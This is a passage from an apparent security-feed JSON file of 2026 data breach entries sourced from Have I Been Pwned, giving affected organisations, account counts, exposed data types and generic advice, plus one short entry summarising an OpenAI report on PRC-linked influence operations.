City College was the target of a ShinyHunters \"pay or leak\" extortion campaign . Data allegedly obtained from the college was later published publicly and included 832k unique email addresses along with names, addresses, phone numbers, academic records, and other personal information relating to both current students and alumni.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-16; loaded 2026-07-28. Exposed data: Academic records, Citizenship statuses, Dates of birth, Email addresses, Genders, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-28T06:05:24.000Z","updatedAt":"2026-07-28T06:05:24.000Z","regions":["Global"],"vendor":"hccs.edu","product":null,"stacks":["Hccs.edu"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Houston City College","url":"https://haveibeenpwned.com/Breach/HoustonCityCollege","type":"primary","publishedAt":"2026-07-28T06:05:24.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-suno","cveId":null,"aliases":["Suno"],"kind":"breach","title":"Suno breach: 55,282,226 accounts exposed","summary":"In November 2025, AI music generation tool Suno suffered a data breach that later came to light in July the following year . The data contained over 55M unique email addresses. Phone numbers were also present where they had been used as the sign-up method. Although representing a small portion of the corpus, the breach also included tens of thousands of Stripe records relating to purchases, containing names, physical addresses, purchase amounts and partial credit card data including the card type, expiry date and last 4 digits. The company advised that \"Suno does not have access to customers' full credit card numbers in Stripe\".","detail":"Verified by Have I Been Pwned. Breach date: 2025-11-25; loaded 2026-07-20. Exposed data: Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-20T19:49:51.000Z","updatedAt":"2026-07-20T19:49:51.000Z","regions":["Global"],"vendor":"suno.com","product":null,"stacks":["Suno.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Suno","url":"https://haveibeenpwned.com/Breach/Suno","type":"primary","publishedAt":"2026-07-20T19:49:51.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-paidwork","cveId":null,"aliases":["Paidwork"],"kind":"breach","title":"Paidwork breach: 23,272,765 accounts exposed","summary":"In March 2026, hackers claimed they had obtained data from the gig economy platform Paidwork which they then listed for sale . Almost 11GB of data allegedly obtained from the platform was subsequently posted publicly in July and contained over 23M unique email addresses. The breach also included a broad range of other data relating to the operation of the platform including user profile data, banking information, payout history for workers and passwords stored as bcrypt hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-29; loaded 2026-07-19. Exposed data: Bank account numbers, Dates of birth, Device information, Education levels, Email addresses, Financial transactions, Genders, IP addresses, Names, Passwords, Personal interests, Phone numbers, Physical addresses, Profile photos. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-19T22:57:18.000Z","updatedAt":"2026-07-19T22:57:18.000Z","regions":["Global"],"vendor":"paidwork.com","product":null,"stacks":["Paidwork.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Paidwork","url":"https://haveibeenpwned.com/Breach/Paidwork","type":"primary","publishedAt":"2026-07-19T22:57:18.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-fluke","cveId":null,"aliases":["Fluke"],"kind":"breach","title":"Fluke breach: 821,100 accounts exposed","summary":"In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present.","detail":"Verified by Have I Been Pwned. Breach date: 2026-07-01; loaded 2026-07-15. Exposed data: Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-15T08:01:04.000Z","updatedAt":"2026-07-15T08:01:04.000Z","regions":["Global"],"vendor":"fluke.com","product":null,"stacks":["Fluke.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Fluke","url":"https://haveibeenpwned.com/Breach/Fluke","type":"primary","publishedAt":"2026-07-15T08:01:04.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-goosecreek","cveId":null,"aliases":["GooseCreek"],"kind":"breach","title":"Goose Creek breach: 6,574,121 accounts exposed","summary":"In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers , claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-09; loaded 2026-07-15. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-07-15T05:03:14.000Z","updatedAt":"2026-07-15T05:13:10.000Z","regions":["Global"],"vendor":"goosecreek.com","product":null,"stacks":["Goosecreek.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Goose Creek","url":"https://haveibeenpwned.com/Breach/GooseCreek","type":"primary","publishedAt":"2026-07-15T05:03:14.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-sysco","cveId":null,"aliases":["Sysco"],"kind":"breach","title":"Sysco breach: 2,691,852 accounts exposed","summary":"In June 2026, the food distribution company Sysco was targeted by a ShinyHunters \"pay or leak\" extortion campaign . Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-06-28. Exposed data: Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-28T15:57:29.000Z","updatedAt":"2026-06-28T15:57:29.000Z","regions":["Global"],"vendor":"sysco.com","product":null,"stacks":["Sysco.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Sysco","url":"https://haveibeenpwned.com/Breach/Sysco","type":"primary","publishedAt":"2026-06-28T15:57:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-americantower","cveId":null,"aliases":["AmericanTower"],"kind":"breach","title":"American Tower breach: 216,601 accounts exposed","summary":"In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-12; loaded 2026-06-26. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-26T07:17:23.000Z","updatedAt":"2026-06-26T07:22:10.000Z","regions":["Global"],"vendor":"americantower.com","product":null,"stacks":["Americantower.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: American Tower","url":"https://haveibeenpwned.com/Breach/AmericanTower","type":"primary","publishedAt":"2026-06-26T07:17:23.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-madisonsquaregardensports","cveId":null,"aliases":["MadisonSquareGardenSports"],"kind":"breach","title":"Madison Square Garden Sports breach: 9,796,738 accounts exposed","summary":"In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-05; loaded 2026-06-24. Exposed data: Customer service records, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-24T13:02:33.000Z","updatedAt":"2026-06-24T13:02:33.000Z","regions":["Global"],"vendor":"msgsports.com","product":null,"stacks":["Msgsports.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Madison Square Garden Sports","url":"https://haveibeenpwned.com/Breach/MadisonSquareGardenSports","type":"primary","publishedAt":"2026-06-24T13:02:33.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-jcpenney","cveId":null,"aliases":["JCPenney"],"kind":"breach","title":"JCPenney breach: 368,418 accounts exposed","summary":"In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters \"pay or leak\" extortion campaign . Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-12; loaded 2026-06-20. Exposed data: Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-20T03:02:45.000Z","updatedAt":"2026-06-20T03:02:45.000Z","regions":["Global"],"vendor":"jcpenny.com","product":null,"stacks":["Jcpenny.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: JCPenney","url":"https://haveibeenpwned.com/Breach/JCPenney","type":"primary","publishedAt":"2026-06-20T03:02:45.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-ralphlauren","cveId":null,"aliases":["RalphLauren"],"kind":"breach","title":"Ralph Lauren breach: 139,903 accounts exposed","summary":"In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-11; loaded 2026-06-18. Exposed data: Age groups, Email addresses, Genders, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-18T22:48:34.000Z","updatedAt":"2026-06-18T22:48:34.000Z","regions":["Global"],"vendor":"ralphlauren.com","product":null,"stacks":["Ralphlauren.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Ralph Lauren","url":"https://haveibeenpwned.com/Breach/RalphLauren","type":"primary","publishedAt":"2026-06-18T22:48:34.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-operationendgame4","cveId":null,"aliases":["OperationEndgame4"],"kind":"breach","title":"Operation Endgame 4.0 breach: 4,348,526 accounts exposed","summary":"On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation , a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation also targeted by Operation Endgame were provided, followed by another 131k email addresses the following month, bringing the total to more than 4.3M unique email addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-18; loaded 2026-06-18. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-18T20:08:06.000Z","updatedAt":"2026-07-26T06:42:31.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Operation Endgame 4.0","url":"https://haveibeenpwned.com/Breach/OperationEndgame4","type":"primary","publishedAt":"2026-06-18T20:08:06.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-cfgi","cveId":null,"aliases":["CFGI"],"kind":"breach","title":"CFGI breach: 248,235 accounts exposed","summary":"In March 2026, the financial consulting and advisory firm CFGI was the target of a ShinyHunters \"pay-or-leak\" extortion campaign . The group subsequently publicised data allegedly obtained from CFGI comprising corporate contact information, including 243k unique email addresses, names, phone numbers and physical addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-06; loaded 2026-06-18. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-18T03:22:51.000Z","updatedAt":"2026-06-18T03:25:47.000Z","regions":["Global"],"vendor":"cfgi.com","product":null,"stacks":["Cfgi.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: CFGI","url":"https://haveibeenpwned.com/Breach/CFGI","type":"primary","publishedAt":"2026-06-18T03:22:51.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-june2026stealerlogs","cveId":null,"aliases":["June2026StealerLogs"],"kind":"breach","title":"June 2026 Stealer Logs breach: 56,278,397 accounts exposed","summary":"In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard . Organisations can see logs affecting their domain via the stealer logs API .","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-06-15. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-15T19:30:15.000Z","updatedAt":"2026-06-15T19:36:36.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: June 2026 Stealer Logs","url":"https://haveibeenpwned.com/Breach/June2026StealerLogs","type":"primary","publishedAt":"2026-06-15T19:30:15.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-berkadia","cveId":null,"aliases":["Berkadia"],"kind":"breach","title":"Berkadia breach: 305,216 accounts exposed","summary":"In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-19; loaded 2026-06-15. Exposed data: Email addresses, Employers, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-15T04:09:04.000Z","updatedAt":"2026-06-15T04:09:04.000Z","regions":["Global"],"vendor":"berkadia.com","product":null,"stacks":["Berkadia.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Berkadia","url":"https://haveibeenpwned.com/Breach/Berkadia","type":"primary","publishedAt":"2026-06-15T04:09:04.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-infinitecampus","cveId":null,"aliases":["InfiniteCampus"],"kind":"breach","title":"Infinite Campus breach: 137,123 accounts exposed","summary":"In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters \"pay or leak\" extortion campaign . The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications , advising that the exposed data largely consisted of \"names and contact information for school staff\" and that \"the majority is directory information commonly found on school websites\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-18; loaded 2026-06-15. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-15T01:03:42.000Z","updatedAt":"2026-06-15T01:03:42.000Z","regions":["Global"],"vendor":"infinitecampus.com","product":null,"stacks":["Infinitecampus.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Infinite Campus","url":"https://haveibeenpwned.com/Breach/InfiniteCampus","type":"primary","publishedAt":"2026-06-15T01:03:42.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-universityofnottingham","cveId":null,"aliases":["UniversityOfNottingham"],"kind":"breach","title":"University of Nottingham breach: 454,635 accounts exposed","summary":"In June 2026, the University of Nottingham was the target of a cyber attack , later linked to a ShinyHunters \"pay or leak\" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident , the university advised that the breach affected both \"current students, and alumni\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-06-09; loaded 2026-06-10. Exposed data: Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-10T22:13:31.000Z","updatedAt":"2026-06-10T22:13:31.000Z","regions":["Global"],"vendor":"nottingham.ac.uk","product":null,"stacks":["Nottingham.ac.uk"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: University of Nottingham","url":"https://haveibeenpwned.com/Breach/UniversityOfNottingham","type":"primary","publishedAt":"2026-06-10T22:13:31.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-prc-linked-influence-operations-ai-debates-278708794349","cveId":null,"aliases":[],"kind":"ai-incident","title":"PRC-linked influence operations are targeting AI debates in the US","summary":"A new report from OpenAI details PRC-linked influence operations using AI to target U.S. tech debates, data center narratives, tariffs, and false claims about ChatGPT.","detail":"A new report from OpenAI details PRC-linked influence operations using AI to target U.S. tech debates, data center narratives, tariffs, and false claims about ChatGPT.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-06-10T12:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/prc-linked-influence-operations-ai-debates"},"sources":[{"name":"OpenAI: PRC-linked influence operations are targeting AI debates in the US","url":"https://openai.com/index/prc-linked-influence-operations-ai-debates","type":"primary","publishedAt":"2026-06-10T12:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-bakerdistributing","cveId":null,"aliases":["BakerDistributing"],"kind":"breach","title":"Baker Distributing breach: 102,935 accounts exposed","summary":"In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's \"pay or leak\" site . In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-23; loaded 2026-06-07. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your 